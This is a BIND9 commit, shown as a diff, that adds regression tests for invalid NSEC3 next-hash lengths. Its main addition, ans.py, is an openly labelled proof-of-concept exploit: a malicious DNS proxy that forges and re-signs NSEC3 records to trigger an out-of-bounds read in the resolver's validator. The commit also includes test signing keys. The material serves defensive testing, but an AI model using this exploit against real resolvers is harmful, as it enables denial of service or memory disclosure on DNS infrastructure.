mirror of
https://github.com/isc-projects/bind9.git
synced 2026-05-28 04:34:54 -04:00
Add tests for NSEC3 invalid length
Adds a static system test that fails to load an NSEC3 record with an
invalid next part length. Additionally, introduces a dynamic test using
a crafted authoritative DNS proxy to inject invalid NSEC3 records on the
fly to test runtime behavior.
(cherry picked from commit 7b737bc1c4)
This commit is contained in:
parent
c88aa8a380
commit
6fb01d751d
14 changed files with 691 additions and 1 deletions
17
bin/tests/system/checkzone/zones/bad-nsec3-length.db
Normal file
17
bin/tests/system/checkzone/zones/bad-nsec3-length.db
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
;
|
||||
; SPDX-License-Identifier: MPL-2.0
|
||||
;
|
||||
; This Source Code Form is subject to the terms of the Mozilla Public
|
||||
; License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
; file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
;
|
||||
; See the COPYRIGHT file distributed with this work for additional
|
||||
; information regarding copyright ownership.
|
||||
|
||||
$TTL 600
|
||||
@ SOA ns hostmaster 2011012708 3600 1200 604800 1200
|
||||
NS ns
|
||||
ns A 192.0.2.1
|
||||
|
||||
I7A7A184GGMI35K1E3IR650LKO7NOB5R.dyn.example.net. 7200 IN NSEC3 1 0 10 76931F IMQ912BREQP1POLAH3RMONG;UED541AS A RRSIG
|
||||
490
bin/tests/system/nsec3/ans7/ans.py
Normal file
490
bin/tests/system/nsec3/ans7/ans.py
Normal file
|
|
@ -0,0 +1,490 @@
|
|||
#!/usr/bin/env python3
|
||||
# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
#
|
||||
# SPDX-License-Identifier: MPL-2.0
|
||||
#
|
||||
# This Source Code Form is subject to the terms of the Mozilla Public
|
||||
# License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
# file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
#
|
||||
# See the COPYRIGHT file distributed with this work for additional
|
||||
# information regarding copyright ownership.
|
||||
|
||||
"""
|
||||
Crafted authoritative DNS proxy for BIND9 NSEC3 OOB read PoC.
|
||||
|
||||
Simulates a malicious authoritative server that crafts NSEC3 responses
|
||||
to trigger CWE-125 (out-of-bounds stack read) in validator.c:344.
|
||||
|
||||
Attack chain:
|
||||
1. Resolver queries xxx.evil.test A -> proxy modifies NSEC3 in A response
|
||||
(breaks the NSEC3 proof, forcing proveunsecure() fallback)
|
||||
2. Resolver fetches DS for xxx.evil.test -> proxy injects crafted NSEC3
|
||||
with next_length=200 (exceeds 155-byte buffer) at position 0
|
||||
3. DS validation succeeds via unmodified NSEC3 (opt-out coverage)
|
||||
4. ncache stores: [crafted_nsec3 (200B next), original_nsec3]
|
||||
5. isdelegation() iterates ncache -> crafted first -> memcmp() OOB read
|
||||
|
||||
Usage: python3 crafted_auth_v6.py <ip> <port>
|
||||
Listens on [ip]:[port]
|
||||
Forwards to legitimate auth server on [10.53.0.6]:[port]
|
||||
|
||||
Prerequisites: pip install dnspython cryptography
|
||||
"""
|
||||
|
||||
import base64
|
||||
import glob
|
||||
import os
|
||||
import signal
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import time
|
||||
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
from cryptography.hazmat.primitives import hashes
|
||||
from cryptography.hazmat.primitives.asymmetric import ec, utils
|
||||
|
||||
import dns.message
|
||||
import dns.name
|
||||
import dns.rcode
|
||||
import dns.rdata
|
||||
import dns.rdataclass
|
||||
import dns.rdatatype
|
||||
import dns.rrset
|
||||
|
||||
IP = sys.argv[1]
|
||||
PORT = int(sys.argv[2])
|
||||
TARGET_NEXT_LENGTH = 200
|
||||
ZONE_FILE = "../ns6/evil.test.db.signed"
|
||||
|
||||
# NSEC3 params: alg=1(SHA1), flags=1(opt-out), iterations=10, salt=DEADBEEF
|
||||
NSEC3_ALG = 1
|
||||
NSEC3_FLAGS = 1
|
||||
NSEC3_ITERATIONS = 10
|
||||
NSEC3_SALT = bytes.fromhex("DEADBEEF")
|
||||
NSEC3_TTL = 86400
|
||||
|
||||
# RRSIG timing: computed dynamically for portability
|
||||
NOW = int(time.time())
|
||||
RRSIG_LABELS = 3
|
||||
RRSIG_ORIG_TTL = 86400
|
||||
RRSIG_INCEPTION = NOW - 3600 # 1 hour ago
|
||||
RRSIG_EXPIRATION = NOW + 30 * 86400 # 30 days from now
|
||||
|
||||
|
||||
def discover_nsec3_from_zone(zone_file):
|
||||
"""
|
||||
Auto-discover NSEC3 owner names and next hashes from the signed zone.
|
||||
Returns list of dicts sorted by owner name.
|
||||
"""
|
||||
nsec3_records = []
|
||||
with open(zone_file, "r", encoding="utf-8") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith(";"):
|
||||
continue
|
||||
parts = line.split()
|
||||
if parts[3] == "NSEC3":
|
||||
print(parts)
|
||||
try:
|
||||
idx = parts.index("NSEC3")
|
||||
print(idx)
|
||||
owner = parts[0]
|
||||
next_hash_b32 = parts[idx + 5]
|
||||
flags = int(parts[idx + 2])
|
||||
nsec3_records.append(
|
||||
{
|
||||
"owner": owner,
|
||||
"next_hash_b32": next_hash_b32,
|
||||
"flags": flags,
|
||||
}
|
||||
)
|
||||
except (IndexError, ValueError):
|
||||
continue
|
||||
nsec3_records.sort(key=lambda r: r["owner"])
|
||||
return nsec3_records
|
||||
|
||||
|
||||
def b32_to_bytes(b32hex_str):
|
||||
"""Decode base32hex (RFC 4648) to bytes."""
|
||||
padded = b32hex_str.upper() + "=" * ((8 - len(b32hex_str) % 8) % 8)
|
||||
return base64.b32hexdecode(padded)
|
||||
|
||||
|
||||
def load_zsk():
|
||||
"""Load the Zone Signing Key (ZSK) for re-signing modified records."""
|
||||
keys = glob.glob("../ns6/Kevil.test.+013+*.private")
|
||||
for kf in keys:
|
||||
pub = kf.replace(".private", ".key")
|
||||
with open(pub, "r", encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
if "256 3 13" in content:
|
||||
with open(kf, "r", encoding="utf-8") as pf:
|
||||
for line in pf:
|
||||
if line.startswith("PrivateKey:"):
|
||||
key_bytes = base64.b64decode(line.split(":", 1)[1].strip())
|
||||
pk = ec.derive_private_key(
|
||||
int.from_bytes(key_bytes, "big"),
|
||||
ec.SECP256R1(),
|
||||
default_backend(),
|
||||
)
|
||||
tag = int(kf.split("+")[-1].replace(".private", ""))
|
||||
print(f"[*] Loaded ZSK key tag={tag}", flush=True)
|
||||
return pk, tag
|
||||
raise ValueError("No ZSK found")
|
||||
|
||||
|
||||
def sign_rrset(
|
||||
private_key,
|
||||
key_tag,
|
||||
rrset,
|
||||
type_covered,
|
||||
labels,
|
||||
original_ttl,
|
||||
expiration,
|
||||
inception,
|
||||
signer_name,
|
||||
):
|
||||
"""Sign an RRset with ECDSAP256SHA256 and return RRSIG rdata."""
|
||||
algorithm = 13
|
||||
|
||||
sig_rdata = struct.pack("!HBBI", type_covered, algorithm, labels, original_ttl)
|
||||
sig_rdata += struct.pack("!II", expiration, inception)
|
||||
sig_rdata += struct.pack("!H", key_tag)
|
||||
sig_rdata += signer_name.canonicalize().to_wire()
|
||||
|
||||
rr_wires = []
|
||||
for rdata in rrset:
|
||||
rdata_wire = rdata.to_digestable()
|
||||
rr_wire = rrset.name.canonicalize().to_wire()
|
||||
rr_wire += struct.pack("!HHI", rrset.rdtype, rrset.rdclass, original_ttl)
|
||||
rr_wire += struct.pack("!H", len(rdata_wire))
|
||||
rr_wire += rdata_wire
|
||||
rr_wires.append(rr_wire)
|
||||
|
||||
rr_wires.sort()
|
||||
sign_data = sig_rdata + b"".join(rr_wires)
|
||||
|
||||
der_sig = private_key.sign(sign_data, ec.ECDSA(hashes.SHA256()))
|
||||
r, s = utils.decode_dss_signature(der_sig)
|
||||
raw_sig = r.to_bytes(32, "big") + s.to_bytes(32, "big")
|
||||
|
||||
full_rrsig_wire = sig_rdata + raw_sig
|
||||
rrsig_rdata = dns.rdata.from_wire(
|
||||
dns.rdataclass.IN,
|
||||
dns.rdatatype.RRSIG,
|
||||
full_rrsig_wire,
|
||||
0,
|
||||
len(full_rrsig_wire),
|
||||
None,
|
||||
)
|
||||
return rrsig_rdata
|
||||
|
||||
|
||||
def sign_rrset_from_template(private_key, key_tag, rrset, template_rrsig):
|
||||
"""Sign using existing RRSIG as template for type_covered."""
|
||||
return sign_rrset(
|
||||
private_key,
|
||||
key_tag,
|
||||
rrset,
|
||||
template_rrsig.type_covered,
|
||||
RRSIG_LABELS,
|
||||
RRSIG_ORIG_TTL,
|
||||
RRSIG_EXPIRATION,
|
||||
RRSIG_INCEPTION,
|
||||
template_rrsig.signer,
|
||||
)
|
||||
|
||||
|
||||
def build_crafted_nsec3(private_key, key_tag, owner_name, original_next_hash, bitmaps):
|
||||
"""
|
||||
Build a crafted NSEC3 with next_length=200 (exceeds 155-byte buffer).
|
||||
Returns (nsec3_rrset, rrsig_rrset).
|
||||
"""
|
||||
name = dns.name.from_text(owner_name)
|
||||
signer = dns.name.from_text("evil.test.")
|
||||
|
||||
crafted_next = original_next_hash + os.urandom(
|
||||
TARGET_NEXT_LENGTH - len(original_next_hash)
|
||||
)
|
||||
|
||||
nsec3_wire = struct.pack("!BBH", NSEC3_ALG, NSEC3_FLAGS, NSEC3_ITERATIONS)
|
||||
nsec3_wire += struct.pack("!B", len(NSEC3_SALT)) + NSEC3_SALT
|
||||
nsec3_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
|
||||
nsec3_wire += bitmaps
|
||||
|
||||
nsec3_rdata = dns.rdata.from_wire(
|
||||
dns.rdataclass.IN, dns.rdatatype.NSEC3, nsec3_wire, 0, len(nsec3_wire), None
|
||||
)
|
||||
|
||||
nsec3_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.NSEC3)
|
||||
nsec3_rrset.update_ttl(NSEC3_TTL)
|
||||
nsec3_rrset.add(nsec3_rdata)
|
||||
|
||||
rrsig_rdata = sign_rrset(
|
||||
private_key,
|
||||
key_tag,
|
||||
nsec3_rrset,
|
||||
type_covered=dns.rdatatype.NSEC3,
|
||||
labels=RRSIG_LABELS,
|
||||
original_ttl=RRSIG_ORIG_TTL,
|
||||
expiration=RRSIG_EXPIRATION,
|
||||
inception=RRSIG_INCEPTION,
|
||||
signer_name=signer,
|
||||
)
|
||||
|
||||
rrsig_rrset = dns.rrset.RRset(name, dns.rdataclass.IN, dns.rdatatype.RRSIG)
|
||||
rrsig_rrset.update_ttl(NSEC3_TTL)
|
||||
rrsig_rrset.add(rrsig_rdata)
|
||||
|
||||
print(
|
||||
f"[*] Built crafted NSEC3: owner={owner_name}, "
|
||||
f"next_hash={TARGET_NEXT_LENGTH}B, signed tag={key_tag}",
|
||||
flush=True,
|
||||
)
|
||||
return nsec3_rrset, rrsig_rrset
|
||||
|
||||
|
||||
def modify_nsec3_next(rdata):
|
||||
"""Modify an NSEC3 record's next_hash to TARGET_NEXT_LENGTH bytes."""
|
||||
orig_wire = rdata.to_digestable()
|
||||
pos = 0
|
||||
hash_alg = orig_wire[pos]
|
||||
pos += 1
|
||||
flags = orig_wire[pos]
|
||||
pos += 1
|
||||
iterations = struct.unpack("!H", orig_wire[pos : pos + 2])[0]
|
||||
pos += 2
|
||||
salt_len = orig_wire[pos]
|
||||
pos += 1
|
||||
salt = orig_wire[pos : pos + salt_len]
|
||||
pos += salt_len
|
||||
hash_len = orig_wire[pos]
|
||||
pos += 1
|
||||
next_hash = orig_wire[pos : pos + hash_len]
|
||||
pos += hash_len
|
||||
type_bitmaps = orig_wire[pos:]
|
||||
|
||||
crafted_next = next_hash + os.urandom(TARGET_NEXT_LENGTH - len(next_hash))
|
||||
new_wire = struct.pack("!BBH", hash_alg, flags, iterations)
|
||||
new_wire += struct.pack("!B", salt_len) + salt
|
||||
new_wire += struct.pack("!B", TARGET_NEXT_LENGTH) + crafted_next
|
||||
new_wire += type_bitmaps
|
||||
|
||||
return dns.rdata.from_wire(
|
||||
dns.rdataclass.IN, dns.rdatatype.NSEC3, new_wire, 0, len(new_wire), None
|
||||
)
|
||||
|
||||
|
||||
def name_label(name):
|
||||
"""Get the first label (NSEC3 hash) from a DNS name."""
|
||||
return str(name).split(".", maxsplit=1)[0].upper()
|
||||
|
||||
|
||||
def is_target(dns_name, target_prefix):
|
||||
"""Check if a DNS name's first label starts with target prefix."""
|
||||
return (
|
||||
str(dns_name)
|
||||
.split(".", maxsplit=1)[0]
|
||||
.upper()
|
||||
.startswith(target_prefix.upper())
|
||||
)
|
||||
|
||||
|
||||
def patch_a_response(response_data, private_key, key_tag, modify_name):
|
||||
"""
|
||||
Patch A response: modify the NSEC3 matching modify_name to break
|
||||
the NSEC3 proof, forcing the resolver into proveunsecure().
|
||||
"""
|
||||
try:
|
||||
msg = dns.message.from_wire(response_data)
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Parse error: {e}", flush=True)
|
||||
return response_data
|
||||
|
||||
new_authority = []
|
||||
for rrset in msg.authority:
|
||||
if rrset.rdtype == dns.rdatatype.NSEC3 and is_target(rrset.name, modify_name):
|
||||
new_rrset = dns.rrset.RRset(rrset.name, rrset.rdclass, rrset.rdtype)
|
||||
new_rrset.update_ttl(rrset.ttl)
|
||||
for rdata in rrset:
|
||||
new_rrset.add(modify_nsec3_next(rdata))
|
||||
new_authority.append(new_rrset)
|
||||
print(
|
||||
f"[!] PATCHED {name_label(rrset.name)}: "
|
||||
f"next_hash -> {TARGET_NEXT_LENGTH}B",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
elif rrset.rdtype == dns.rdatatype.RRSIG:
|
||||
covers_nsec3 = any(rd.type_covered == dns.rdatatype.NSEC3 for rd in rrset)
|
||||
if covers_nsec3 and is_target(rrset.name, modify_name):
|
||||
target_rrset = [
|
||||
rs
|
||||
for rs in new_authority
|
||||
if rs.rdtype == dns.rdatatype.NSEC3
|
||||
and is_target(rs.name, modify_name)
|
||||
]
|
||||
if target_rrset:
|
||||
template = next(iter(rrset))
|
||||
try:
|
||||
new_rrsig = sign_rrset_from_template(
|
||||
private_key, key_tag, target_rrset[0], template
|
||||
)
|
||||
rrsig_rrset = dns.rrset.RRset(
|
||||
rrset.name, dns.rdataclass.IN, dns.rdatatype.RRSIG
|
||||
)
|
||||
rrsig_rrset.update_ttl(rrset.ttl)
|
||||
rrsig_rrset.add(new_rrsig)
|
||||
new_authority.append(rrsig_rrset)
|
||||
print(f"[!] Re-signed " f"{name_label(rrset.name)}", flush=True)
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Sign error: {e}", flush=True)
|
||||
new_authority.append(rrset)
|
||||
else:
|
||||
new_authority.append(rrset)
|
||||
else:
|
||||
new_authority.append(rrset)
|
||||
else:
|
||||
new_authority.append(rrset)
|
||||
|
||||
msg.authority = new_authority
|
||||
try:
|
||||
wire = msg.to_wire()
|
||||
print(f"[!] A response: {len(wire)} bytes", flush=True)
|
||||
return wire
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Wire error: {e}", flush=True)
|
||||
return response_data
|
||||
|
||||
|
||||
def patch_ds_response(response_data, crafted_nsec3, crafted_rrsig, inject_name):
|
||||
"""
|
||||
Patch DS response:
|
||||
- Change RCODE NXDOMAIN -> NOERROR
|
||||
- Inject crafted NSEC3 (200B next) at position 0 in authority
|
||||
"""
|
||||
try:
|
||||
msg = dns.message.from_wire(response_data)
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Parse error: {e}", flush=True)
|
||||
return response_data
|
||||
|
||||
if msg.rcode() == dns.rcode.NXDOMAIN:
|
||||
msg.set_rcode(dns.rcode.NOERROR)
|
||||
print("[!] RCODE: NXDOMAIN -> NOERROR", flush=True)
|
||||
|
||||
new_authority = [crafted_nsec3, crafted_rrsig]
|
||||
print(
|
||||
"[!] INJECTED crafted "
|
||||
f"{name_label(crafted_nsec3.name)} "
|
||||
f"(next={TARGET_NEXT_LENGTH}B) at position 0",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
for rrset in msg.authority:
|
||||
if is_target(rrset.name, inject_name):
|
||||
print(f"[D] Skipped original " f"{name_label(rrset.name)}", flush=True)
|
||||
continue
|
||||
new_authority.append(rrset)
|
||||
|
||||
msg.authority = new_authority
|
||||
try:
|
||||
wire = msg.to_wire()
|
||||
print(f"[!] DS response: {len(wire)} bytes", flush=True)
|
||||
return wire
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Wire error: {e}", flush=True)
|
||||
return response_data
|
||||
|
||||
|
||||
def sigterm(*_):
|
||||
print("SIGTERM received, shutting down")
|
||||
os.remove("ans.pid")
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def main():
|
||||
signal.signal(signal.SIGTERM, sigterm)
|
||||
signal.signal(signal.SIGINT, sigterm)
|
||||
with open("ans.pid", "w", encoding="utf-8") as pidfile:
|
||||
print(os.getpid(), file=pidfile)
|
||||
|
||||
# Auto-discover NSEC3 info from signed zone
|
||||
print(f"[*] Reading zone file: {ZONE_FILE}", flush=True)
|
||||
nsec3_records = discover_nsec3_from_zone(ZONE_FILE)
|
||||
|
||||
if len(nsec3_records) < 2:
|
||||
print(
|
||||
f"[!] ERROR: Need >= 2 NSEC3 records, " f"found {len(nsec3_records)}",
|
||||
flush=True,
|
||||
)
|
||||
sys.exit(1)
|
||||
|
||||
# First alphabetically = inject target, second = modify target
|
||||
inject_rec = nsec3_records[0]
|
||||
modify_rec = nsec3_records[1]
|
||||
|
||||
inject_name = inject_rec["owner"].split(".")[0]
|
||||
modify_name = modify_rec["owner"].split(".")[0]
|
||||
inject_owner_full = inject_rec["owner"]
|
||||
inject_next_hash = b32_to_bytes(inject_rec["next_hash_b32"])
|
||||
|
||||
inject_bitmaps = bytes.fromhex("0006400000000002") # A RRSIG
|
||||
|
||||
print(f"[*] NSEC3 to INJECT (crafted): {inject_name}", flush=True)
|
||||
print(f"[*] NSEC3 to MODIFY (break proof): {modify_name}", flush=True)
|
||||
|
||||
# Load ZSK for re-signing
|
||||
private_key, key_tag = load_zsk()
|
||||
|
||||
# Build crafted NSEC3 with next_length=200
|
||||
crafted_nsec3, crafted_rrsig = build_crafted_nsec3(
|
||||
private_key, key_tag, inject_owner_full, inject_next_hash, inject_bitmaps
|
||||
)
|
||||
|
||||
# Start UDP proxy
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((IP, PORT))
|
||||
print(f"[*] Proxy on {IP}:{PORT} -> {IP}:{PORT}", flush=True)
|
||||
|
||||
while True:
|
||||
data, addr = sock.recvfrom(4096)
|
||||
try:
|
||||
query = dns.message.from_wire(data)
|
||||
qname = query.question[0].name
|
||||
qtype = query.question[0].rdtype
|
||||
qtype_text = dns.rdatatype.to_text(qtype)
|
||||
print(f"\n[<] Query from {addr}: {qname} {qtype_text}", flush=True)
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[<] Query parse error: {e}", flush=True)
|
||||
qtype = None
|
||||
|
||||
fwd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
fwd.settimeout(3)
|
||||
fwd.sendto(data, ("10.53.0.6", PORT))
|
||||
try:
|
||||
response, _ = fwd.recvfrom(65535)
|
||||
if qtype == dns.rdatatype.DS:
|
||||
print("[>] DS - inject crafted + RCODE change", flush=True)
|
||||
modified = patch_ds_response(
|
||||
response, crafted_nsec3, crafted_rrsig, inject_name
|
||||
)
|
||||
sock.sendto(modified, addr)
|
||||
elif qtype in (dns.rdatatype.A, dns.rdatatype.AAAA):
|
||||
print(f"[>] A - modify {modify_name}", flush=True)
|
||||
modified = patch_a_response(response, private_key, key_tag, modify_name)
|
||||
sock.sendto(modified, addr)
|
||||
else:
|
||||
print(f"[>] {qtype_text} - forwarding", flush=True)
|
||||
sock.sendto(response, addr)
|
||||
except Exception as e: # pylint: disable=broad-except
|
||||
print(f"[!] Error: {e}", flush=True)
|
||||
finally:
|
||||
fwd.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -36,6 +36,7 @@ pytestmark = pytest.mark.extra_artifacts(
|
|||
"ns*/*.signed",
|
||||
"ns*/keygen.out.*",
|
||||
"ns3/named-*.conf",
|
||||
"ans*/ans.run",
|
||||
]
|
||||
)
|
||||
|
||||
|
|
|
|||
38
bin/tests/system/nsec3/ns5/named.conf.j2
Normal file
38
bin/tests/system/nsec3/ns5/named.conf.j2
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
/*
|
||||
* Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
*
|
||||
* SPDX-License-Identifier: MPL-2.0
|
||||
*
|
||||
* This Source Code Form is subject to the terms of the Mozilla Public
|
||||
* License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
* file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
*
|
||||
* See the COPYRIGHT file distributed with this work for additional
|
||||
* information regarding copyright ownership.
|
||||
*/
|
||||
|
||||
// NS5
|
||||
|
||||
options {
|
||||
query-source address 10.53.0.5;
|
||||
notify-source 10.53.0.5;
|
||||
transfer-source 10.53.0.5;
|
||||
port @PORT@;
|
||||
pid-file "named.pid";
|
||||
listen-on { 10.53.0.5; };
|
||||
listen-on-v6 { none; };
|
||||
allow-transfer { any; };
|
||||
recursion yes;
|
||||
dnssec-validation yes;
|
||||
send-cookie no;
|
||||
};
|
||||
|
||||
trust-anchors {
|
||||
evil.test. static-key 257 3 13 "yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==";
|
||||
};
|
||||
|
||||
zone "evil.test" {
|
||||
type forward;
|
||||
forward only;
|
||||
forwarders { 10.53.0.7 port @PORT@; };
|
||||
};
|
||||
5
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key
Normal file
5
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.key
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
; This is a key-signing key, keyid 10491, for evil.test.
|
||||
; Created: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==
|
||||
6
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private
Normal file
6
bin/tests/system/nsec3/ns6/Kevil.test.+013+10491.private
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
Private-key-format: v1.3
|
||||
Algorithm: 13 (ECDSAP256SHA256)
|
||||
PrivateKey: ggNXr56dVy7kxpAL5tFDNskg72fJmxhzqHNiaNcefXs=
|
||||
Created: 20260220135822
|
||||
Publish: 20260220135822
|
||||
Activate: 20260220135822
|
||||
5
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key
Normal file
5
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.key
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
; This is a zone-signing key, keyid 12713, for evil.test.
|
||||
; Created: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA==
|
||||
6
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private
Normal file
6
bin/tests/system/nsec3/ns6/Kevil.test.+013+12713.private
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
Private-key-format: v1.3
|
||||
Algorithm: 13 (ECDSAP256SHA256)
|
||||
PrivateKey: v6iu6vE/hjOKCP/ob2DkqCeHdCUTqkZp4W9x4Id0Epg=
|
||||
Created: 20260220135826
|
||||
Publish: 20260220135826
|
||||
Activate: 20260220135826
|
||||
32
bin/tests/system/nsec3/ns6/evil.test.db
Normal file
32
bin/tests/system/nsec3/ns6/evil.test.db
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
;
|
||||
; SPDX-License-Identifier: MPL-2.0
|
||||
;
|
||||
; This Source Code Form is subject to the terms of the Mozilla Public
|
||||
; License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
; file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
;
|
||||
; See the COPYRIGHT file distributed with this work for additional
|
||||
; information regarding copyright ownership.
|
||||
|
||||
$ORIGIN evil.test.
|
||||
$TTL 86400
|
||||
@ IN SOA ns1.evil.test. admin.evil.test. (
|
||||
2024021401 ; serial
|
||||
3600 ; refresh
|
||||
900 ; retry
|
||||
604800 ; expire
|
||||
86400 ; minimum TTL
|
||||
)
|
||||
IN NS ns1.evil.test.
|
||||
ns1 IN A 127.0.0.1
|
||||
; This is a key-signing key, keyid 10491, for evil.test.
|
||||
; Created: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026)
|
||||
evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ==
|
||||
; This is a zone-signing key, keyid 12713, for evil.test.
|
||||
; Created: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026)
|
||||
evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA==
|
||||
32
bin/tests/system/nsec3/ns6/named.conf.j2
Normal file
32
bin/tests/system/nsec3/ns6/named.conf.j2
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
/*
|
||||
* Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
*
|
||||
* SPDX-License-Identifier: MPL-2.0
|
||||
*
|
||||
* This Source Code Form is subject to the terms of the Mozilla Public
|
||||
* License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
* file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
*
|
||||
* See the COPYRIGHT file distributed with this work for additional
|
||||
* information regarding copyright ownership.
|
||||
*/
|
||||
|
||||
// NS6
|
||||
|
||||
options {
|
||||
query-source address 10.53.0.6;
|
||||
notify-source 10.53.0.6;
|
||||
transfer-source 10.53.0.6;
|
||||
port @PORT@;
|
||||
pid-file "named.pid";
|
||||
listen-on { 10.53.0.6; };
|
||||
listen-on-v6 { none; };
|
||||
allow-transfer { any; };
|
||||
recursion no;
|
||||
dnssec-validation no;
|
||||
};
|
||||
|
||||
zone "evil.test" {
|
||||
type primary;
|
||||
file "evil.test.db.signed";
|
||||
};
|
||||
21
bin/tests/system/nsec3/ns6/setup.sh
Normal file
21
bin/tests/system/nsec3/ns6/setup.sh
Normal file
|
|
@ -0,0 +1,21 @@
|
|||
#!/bin/sh -e
|
||||
|
||||
# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
#
|
||||
# SPDX-License-Identifier: MPL-2.0
|
||||
#
|
||||
# This Source Code Form is subject to the terms of the Mozilla Public
|
||||
# License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
# file, you can obtain one at https://mozilla.org/MPL/2.0/.
|
||||
#
|
||||
# See the COPYRIGHT file distributed with this work for additional
|
||||
# information regarding copyright ownership.
|
||||
|
||||
# shellcheck source=conf.sh
|
||||
. ../../conf.sh
|
||||
|
||||
echo_i "ns6/setup.sh"
|
||||
|
||||
$SIGNER -3 DEADBEEF -A -H 10 -o evil.test -t evil.test.db >/dev/null 2>&1
|
||||
$CHECKZONE -s full -f text -F text -o evil.test.db.signed2 evil.test evil.test.db.signed >/dev/null 2>&1
|
||||
mv evil.test.db.signed2 evil.test.db.signed
|
||||
|
|
@ -25,3 +25,8 @@ set -e
|
|||
cd ns3
|
||||
$SHELL setup.sh
|
||||
)
|
||||
|
||||
(
|
||||
cd ns6
|
||||
$SHELL setup.sh
|
||||
)
|
||||
|
|
|
|||
|
|
@ -9,7 +9,7 @@
|
|||
# See the COPYRIGHT file distributed with this work for additional
|
||||
# information regarding copyright ownership.
|
||||
|
||||
# pylint: disable=redefined-outer-name,unused-import
|
||||
# pylint: disable=redefined-outer-name,unused-import,unspecified-encoding,multiple-statements,use-maxsplit-arg,broad-exception-caught,f-string-without-interpolation
|
||||
|
||||
import os
|
||||
|
||||
|
|
|
|||
32
bin/tests/system/nsec3/tests_nsec3_length.py
Normal file
32
bin/tests/system/nsec3/tests_nsec3_length.py
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
|
||||
#
|
||||
# SPDX-License-Identifier: MPL-2.0
|
||||
#
|
||||
# This Source Code Form is subject to the terms of the Mozilla Public
|
||||
# License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
